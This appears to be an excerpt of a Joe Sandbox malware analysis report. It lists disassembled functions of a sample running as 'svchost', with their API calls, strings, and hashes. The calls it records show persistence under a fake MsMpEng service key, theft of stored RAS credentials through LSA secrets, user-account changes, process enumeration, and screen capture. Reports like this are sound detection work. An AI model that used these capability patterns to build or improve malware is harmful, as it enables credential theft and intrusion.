Instruction ID: e56a47b30261500d5e594d28728562b852bcd15472ce2f75d3854afe42e22e30
Opcode Fuzzy Hash: ca78cd4a69b91d86fc8daa009f0785d86b2c57de7d097d90857a46cf3f1815aa
Instruction Fuzzy Hash: F5F0C2B5580351BBE721A770AC89AEE7B247B85724F04853EE580222C1D6B845A5879A

Function 0040E3C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00000000,0040E46D,?,?,?), ref: 0040E3C9
GetProcAddress.KERNEL32(00000000,RtlGetNtVersionNumbers), ref: 0040E3DB
FreeLibrary.KERNEL32(00000000), ref: 0040E405

Strings

ntdll.dll, xrefs: 0040E3C2
RtlGetNtVersionNumbers, xrefs: 0040E3D5

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlGetNtVersionNumbers$ntdll.dll
API String ID: 145871493-1263206204
Opcode ID: 534b435071a565cbc0959982b9be855b8ae3663ad76d57f137b8c2804ceae72f
Instruction ID: 5e16a5c4c87dd6058493d714a8376209ae60ab45ab156a5de48c0497317bf2a0
Opcode Fuzzy Hash: 534b435071a565cbc0959982b9be855b8ae3663ad76d57f137b8c2804ceae72f
Instruction Fuzzy Hash: E2F03076740262EBC321DF26EC88A5B7BB5EFC9711B158539F415E3380C738D90686A9

Function 00409170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Services\MsMpEng), ref: 00409180
RegSetValueExA.ADVAPI32(?,ConnectGroup,00000000,00000001,?), ref: 004091A7
RegCloseKey.ADVAPI32 ref: 004091B3

Strings

SYSTEM\CurrentControlSet\Services\MsMpEng, xrefs: 00409176
ConnectGroup, xrefs: 004091A1

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseCreateValue
String ID: ConnectGroup$SYSTEM\CurrentControlSet\Services\MsMpEng
API String ID: 1818849710-2404424597
Opcode ID: 9260ca8310c516bdf6f3ff15638d8ef59e2640018111b6d0bdf966c098fca644
Instruction ID: 994abbc556e010a559590f0efe514dd726d9d9a190789ad5730a09c2ac4e53b5
Opcode Fuzzy Hash: 9260ca8310c516bdf6f3ff15638d8ef59e2640018111b6d0bdf966c098fca644
Instruction Fuzzy Hash: CEE09B76344200FBE3148BA1DC49EBBB77DFBC8751F20861EB616910D0C674DC004714

Function 00409120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Services\MsMpEng), ref: 00409130
RegSetValueExA.ADVAPI32(?,Remark,00000000,00000001,?), ref: 00409157
RegCloseKey.ADVAPI32 ref: 00409163

Strings

Remark, xrefs: 00409151
SYSTEM\CurrentControlSet\Services\MsMpEng, xrefs: 00409126

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseCreateValue
String ID: Remark$SYSTEM\CurrentControlSet\Services\MsMpEng
API String ID: 1818849710-489170109
Opcode ID: 670895227f5a21f1a463e621d55880e9ac963460a85875e7c8f971b346ef2a38
Instruction ID: dccfb981339959876dc066e0ebb40bee40bfbb0a65829dd1f0e1a10857a054cb
Opcode Fuzzy Hash: 670895227f5a21f1a463e621d55880e9ac963460a85875e7c8f971b346ef2a38
Instruction Fuzzy Hash: E9E09B76344200FBD3148BA1DC45EBBBB7DFBC8751F20C61EB21A911D0C674C9014714

Function 0041B360 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041B365
strlen.MSVCRT ref: 0041B384

Part of subcall function 0041B3BA: __EH_prolog.LIBCMT ref: 0041B3BF
Part of subcall function 0041B3BA: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0041B3D9

_CxxThrowException.MSVCRT(00000000,00421570), ref: 0041B3B4

Strings

string too long, xrefs: 0041B37E, 0041B383, 0041B38B
lB, xrefs: 0041B3A4, 0041B39C

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: H_prolog$??0exception@@ExceptionThrowstrlen
String ID: lB$string too long
API String ID: 4056035191-1177628834
Opcode ID: d834352ee6d00950edd92631ae167539c6efc8b41b73feea130128756746ec5f
Instruction ID: 5bf058bc63e7e034a9423d2a5ff56cb4a4a855801f41d61b526461866333dc16
Opcode Fuzzy Hash: d834352ee6d00950edd92631ae167539c6efc8b41b73feea130128756746ec5f
Instruction Fuzzy Hash: 92F05E32C01128A9CB04F6A5E842AEE777CAF18308F80405AF850B2162DF2C56898BBD

Function 0040E050 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000004), ref: 0040E06F
RegQueryValueExA.ADVAPI32(?,~MHz,00000000,?,?,?,?,www.362-com.com,?,?), ref: 0040E090
RegCloseKey.ADVAPI32(?,?,www.362-com.com,?,?), ref: 0040E09B

Strings

~MHz, xrefs: 0040E08A
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 0040E065

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: HARDWARE\DESCRIPTION\System\CentralProcessor\0$~MHz
API String ID: 3677997916-2226868861
Opcode ID: ec22badb03a7b7151c14d19a161e1904d84b19b09c6233e931671f0f67bf31ea
Instruction ID: 42553fe74088cce8b5e9e08952477b14fc633d32869e3cda15718f6b3656bc3a
Opcode Fuzzy Hash: ec22badb03a7b7151c14d19a161e1904d84b19b09c6233e931671f0f67bf31ea
Instruction Fuzzy Hash: 87F0D4B4648305BFD300DB64DC85F6BBBB8EB88705F50C91DB55982151D634D908CB5A

Function 0040E370 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process,?,?,0040E4B9), ref: 0040E37C
GetProcAddress.KERNEL32(00000000), ref: 0040E383
GetCurrentProcess.KERNEL32(0040E4B9,?,0040E4B9), ref: 0040E39A

Strings

kernel32.dll, xrefs: 0040E377
IsWow64Process, xrefs: 0040E372

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: b737fcbfea5e96ed9eacda76ae1080b51f0e0f128da47d94804787ff6c06765e
Instruction ID: 2427863d623b1a4c4599ff1455f1ef7ada34af75e0041d8b8bbe5c298fe96284
Opcode Fuzzy Hash: b737fcbfea5e96ed9eacda76ae1080b51f0e0f128da47d94804787ff6c06765e
Instruction Fuzzy Hash: 6DE0DF73A85221E7C6009BB4BD0C88B7FAC9A446527108837F906D3180DB38C800ABA8

Function 00405D30 Relevance: 7.6, APIs: 6, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1c34dc37e6ed45221f4d6d6567e3022993460529855c3fdd29a0633f79838ad
Instruction ID: 21630b4338c0dbf14dc45f489cab55e4f0ecb5efbae156578e646edd3b4ca0c8
Opcode Fuzzy Hash: f1c34dc37e6ed45221f4d6d6567e3022993460529855c3fdd29a0633f79838ad
Instruction Fuzzy Hash: 4241D2B27417056FE714DF68EC81B67B398EF84725F14403AFA06DB681DBB4E8148AA4

Function 0040B180 Relevance: 7.6, APIs: 5, Instructions: 121COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040B1C6

Part of subcall function 0040B320: RegOpenKeyExA.ADVAPI32(?,?,00000000,000F013F,0040AE94,?,0040AE94,00000000), ref: 0040B338

??3@YAXPAX@Z.MSVCRT ref: 0040B220
??2@YAPAXI@Z.MSVCRT ref: 0040B230
??3@YAXPAX@Z.MSVCRT ref: 0040B287
??3@YAXPAX@Z.MSVCRT ref: 0040B29F

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??3@$??2@$Open
String ID:
API String ID: 1933534633-0
Opcode ID: 40f50cb0316807d92619a87a261b617c713f365668f840883548a2ab480e5e2a
Instruction ID: 3bd540e039f82a12f50f943ac22cbd17395b78ba2ca8212d32c459d14196727d
Opcode Fuzzy Hash: 40f50cb0316807d92619a87a261b617c713f365668f840883548a2ab480e5e2a
Instruction Fuzzy Hash: DC31DBB27405151BC704EA29AC5257FB3C6DEC4714B88447EEE06D7342DA3EED1982DE

Function 00413CC0 Relevance: 7.6, APIs: 5, Instructions: 98stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00404E70: ??2@YAPAXI@Z.MSVCRT ref: 00404E9B
Part of subcall function 00404E70: ??2@YAPAXI@Z.MSVCRT ref: 00404EAA

lstrlenA.KERNEL32(?), ref: 00413D0B
LocalAlloc.KERNEL32(00000040,00000001), ref: 00413D28
lstrlenA.KERNEL32(?), ref: 00413D68
LocalSize.KERNEL32(00000000), ref: 00413DAC
LocalFree.KERNEL32(00000000), ref: 00413DBE

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Local$??2@lstrlen$AllocFreeSize
String ID:
API String ID: 1534712483-0
Opcode ID: 9a521a842bb03ba3ea65fca88596461643d9687351a14839b19fdfb67755555a
Instruction ID: 577789dd26d2a3611078db1f543d08089f426270f72fad01efc6f608d857e1bb
Opcode Fuzzy Hash: 9a521a842bb03ba3ea65fca88596461643d9687351a14839b19fdfb67755555a
Instruction Fuzzy Hash: D9319A712483419FC310CF18D884A6BBBE5FB89714F000A2EF896A3391DB38E945CB96

Function 0040BD10 Relevance: 7.6, APIs: 5, Instructions: 96synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,0041BC11,000000FF,0040BEC5,?,?,?,?,?,?,0041BC20,000000FF), ref: 0040BD36
CloseHandle.KERNEL32(?,?,?,0041BC11,000000FF,0040BEC5,?,?,?,?,?,?,0041BC20,000000FF), ref: 0040BD40
??2@YAPAXI@Z.MSVCRT ref: 0040BD6E
??2@YAPAXI@Z.MSVCRT ref: 0040BDA2

Part of subcall function 0040C660: LoadCursorA.USER32(00000000,00000000), ref: 0040C723

??2@YAPAXI@Z.MSVCRT ref: 0040BDCC

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??2@$CloseCursorHandleLoadObjectSingleWait
String ID:
API String ID: 1916621575-0
Opcode ID: f350884659fd6d41d45b5f6b97c4c22f201a7ea4eb9857cee072ecd21acaacf4
Instruction ID: ef2bcaef84ef7131645f205051c19e0aed0db350fd01f7ec41ef4e464ace6d51
Opcode Fuzzy Hash: f350884659fd6d41d45b5f6b97c4c22f201a7ea4eb9857cee072ecd21acaacf4
Instruction Fuzzy Hash: 4731D4B06447419BD720DF25DC86B57B6E1EF48714F000A3EF15AA72C1D7B9E544878E

Function 0040CE70 Relevance: 7.6, APIs: 5, Instructions: 91windowCOMMON

Download Yara Rule

APIs

CreateDIBSection.GDI32(?,?,00000000,?,00000000,00000000), ref: 0040CECE
SelectObject.GDI32(?,00000000), ref: 0040CEDD
BitBlt.GDI32(?,?,?,?,?,?,?,?,?), ref: 0040CEFA
BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 0040CF1A
DeleteObject.GDI32(?), ref: 0040CF42

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Object$CreateDeleteSectionSelect
String ID:
API String ID: 3188413882-0
Opcode ID: ff7971fa7e442c65569e443aff8cf8c217363bbab883f1d0bc7f1aad0a6bb27a
Instruction ID: 8644df30ac322eb794f61322d1c2f3353e4d03125da19cbc192858f1f2830dd5
Opcode Fuzzy Hash: ff7971fa7e442c65569e443aff8cf8c217363bbab883f1d0bc7f1aad0a6bb27a
Instruction Fuzzy Hash: 1931B1B6200705AFD214CF59DC84E27FBAAFB88614F108A1EFA5587795C771F8008BA4

Function 00410A10 Relevance: 7.6, APIs: 5, Instructions: 72stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000), ref: 00410A29
NetUserGetInfo.NETAPI32(00000000,00000000), ref: 00410A56

Part of subcall function 0040EB90: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040EBB4
Part of subcall function 0040EB90: ??2@YAPAXI@Z.MSVCRT ref: 0040EBC1
Part of subcall function 0040EB90: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040EBDD

NetUserSetInfo.NETAPI32(00000000,00000000,?,00000000), ref: 00410A94
NetApiBufferFree.NETAPI32(?), ref: 00410AC2
LocalFree.KERNEL32(?), ref: 00410ACC

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ByteCharFreeInfoMultiUserWide$??2@BufferLocallstrlen
String ID:
API String ID: 2885335764-0
Opcode ID: 06f57e3ddf253fb99832153d0705f857b5e4ddff31a999e582e034978c5ac654
Instruction ID: ac0622517868727d44a71bd3db721ced7584daaeac7d82bad7db2b994230c841
Opcode Fuzzy Hash: 06f57e3ddf253fb99832153d0705f857b5e4ddff31a999e582e034978c5ac654
Instruction Fuzzy Hash: 1C1151B15043006BD300EF669C8296BBBECEB94B18F44492EF64596282E678D95887A6

Function 00412000 Relevance: 7.6, APIs: 5, Instructions: 53processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041200D
Process32First.KERNEL32(00000000), ref: 00412028
lstrcmpiA.KERNEL32(?,?), ref: 00412044
Process32Next.KERNEL32(00000000,?), ref: 00412050
CloseHandle.KERNEL32(00000000,00000000), ref: 00412069

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 868014591-0
Opcode ID: fcb2ec04029935f46ba2eade9e590c3f46999862d2f59f2fb4bc11569fd6d842
Instruction ID: 2a1a439278f33babe93876e0b72b8e8222ac9b410acc14f037b9d7f54ae7eca7
Opcode Fuzzy Hash: fcb2ec04029935f46ba2eade9e590c3f46999862d2f59f2fb4bc11569fd6d842
Instruction Fuzzy Hash: 4501F5315002025BD320DB25DD80AFF7B98EFC9314F40052AFA14C2241E3B9D969C7E6

Function 0040FC60 Relevance: 7.6, APIs: 5, Instructions: 52stringCOMMON

Download Yara Rule

APIs

WTSQuerySessionInformationW.WTSAPI32 ref: 0040FC84
lstrcpyW.KERNEL32(?,00000000), ref: 0040FCA4
WTSFreeMemory.WTSAPI32(?), ref: 0040FCAF
WideCharToMultiByte.KERNEL32(00000000,00000200,?,000000FF,00000000,00000104,00000000,00000000,?), ref: 0040FCE8
lstrcpyA.KERNEL32(?,00000000), ref: 0040FCFB

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrcpy$ByteCharFreeInformationMemoryMultiQuerySessionWide
String ID:
API String ID: 2394411120-0
Opcode ID: 7f6dd751076a8ab89f63f81f698e1676b01fdccd8ca62ee4db8c37f513fded00
Instruction ID: e9e514262748209a81d34ce6bd17401516f8d149c622362591eff0fc0dcad826
Opcode Fuzzy Hash: 7f6dd751076a8ab89f63f81f698e1676b01fdccd8ca62ee4db8c37f513fded00
Instruction Fuzzy Hash: 0F1152751583017BE710DB54DC55FEB73ECABC8B04F008A2CF655961C0E674A5088B66

Function 00414760 Relevance: 7.5, APIs: 5, Instructions: 37threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00414768
GetThreadDesktop.USER32(00000000), ref: 0041476F
GetUserObjectInformationA.USER32(?,00000002,?,00000100,?), ref: 00414790
SetThreadDesktop.USER32(?), ref: 004147A4

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Thread$Desktop$CurrentInformationObjectUser
String ID:
API String ID: 3041254040-0
Opcode ID: d5c95376bfe447aa13519f01817db6bdd1396ec8230d8b508f2ad4fc4d24f9f8
Instruction ID: 5b192af36a74ddfd375d8e58009ba53eb3f09b4ffb041f864a17402110b34bc9
Opcode Fuzzy Hash: d5c95376bfe447aa13519f01817db6bdd1396ec8230d8b508f2ad4fc4d24f9f8
Instruction Fuzzy Hash: 00F0B475640210A7D7245B18ECC9BEB375CEFC1725F448435F964C1290E7B84585869A

Function 004123B0 Relevance: 7.5, APIs: 5, Instructions: 31serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000002), ref: 004123B7
OpenServiceA.ADVAPI32(00000000,?,00010010), ref: 004123D0
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 004123E7
CloseServiceHandle.ADVAPI32(00000000), ref: 004123EE
CloseServiceHandle.ADVAPI32(00000000), ref: 004123F1

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Service$CloseHandleOpen$ManagerStart
String ID:
API String ID: 1485051382-0
Opcode ID: 54ec5adc8df6683561ef85fe6982d76bc41faa810ab1d6c828487066a23bd993
Instruction ID: 4afbbbdea6f3e75795498a896beaf013f4711be73f7dd053d7e3c077347480fb
Opcode Fuzzy Hash: 54ec5adc8df6683561ef85fe6982d76bc41faa810ab1d6c828487066a23bd993
Instruction Fuzzy Hash: 50E0D8322C5711BBE22257B8BCC9FEF6A28EB8DF54F104110FB08962C0CAA4DC41426D

Function 00406AF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85fileCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00406B19
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00406B8E
CloseHandle.KERNEL32(00000000), ref: 00406BB1

Strings

p, xrefs: 00406B14

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseCreateDirectoryFileHandleWindows
String ID: p
API String ID: 1994237055-2181537457
Opcode ID: 3a9f50933b25037aec6d5244b1fed8ef72c75560d004b2b55f204822f697f44d
Instruction ID: 95e5e2c94295631822017bba6460531675a229dc3e2fc358b5296dcc2bb56d53
Opcode Fuzzy Hash: 3a9f50933b25037aec6d5244b1fed8ef72c75560d004b2b55f204822f697f44d
Instruction Fuzzy Hash: 1B21F8716442041BD718CE78AC45AAB7B95FBC4330F444B3EFA66C72C1DAB85909C295

Function 00405170 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

LsaOpenPolicy.ADVAPI32(00000000,?,00000004,?), ref: 00405192
LsaRetrievePrivateData.ADVAPI32(?,?,?), ref: 004051C5

Strings

L$_RasDefaultCredentials#0, xrefs: 00405175

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: DataOpenPolicyPrivateRetrieve
String ID: L$_RasDefaultCredentials#0
API String ID: 1655749231-2801509457
Opcode ID: f6ba53ed548a0f1c53a844fb464675b00d602fa41adfe33e933a4dfdb5f23b24
Instruction ID: 5356ebd810677cd6bbff2b09ac952c3e83694e1b0b87b4db2b4ba7140483b5dd
Opcode Fuzzy Hash: f6ba53ed548a0f1c53a844fb464675b00d602fa41adfe33e933a4dfdb5f23b24
Instruction Fuzzy Hash: AD01FC722043066FE704EA69CC41EFBB3D9EBD4314F004D2EF944C6180E674D959C7A6

Function 0041B3BA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041B3BF
??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0041B3D9

Strings

QB, xrefs: 0041B3D2
string too long, xrefs: 0041B3C7

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??0exception@@H_prolog
String ID: string too long$QB
API String ID: 131831681-3200340920
Opcode ID: 9fc9a198d86af5c9a627773fdb6866594215ed8fc193bb670f6ead5a5ab729b3
Instruction ID: a1166fdeda5dcb3bb256cf1446e40fad7bed52fdb10ffbbd7231fc4b1648bbc1
Opcode Fuzzy Hash: 9fc9a198d86af5c9a627773fdb6866594215ed8fc193bb670f6ead5a5ab729b3
Instruction Fuzzy Hash: 3BF062B1B00254AEC7149B55D841BAEB7B8EB95704F04412FE541A7241C7B85904CBA8

Function 00410E90 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00410E97
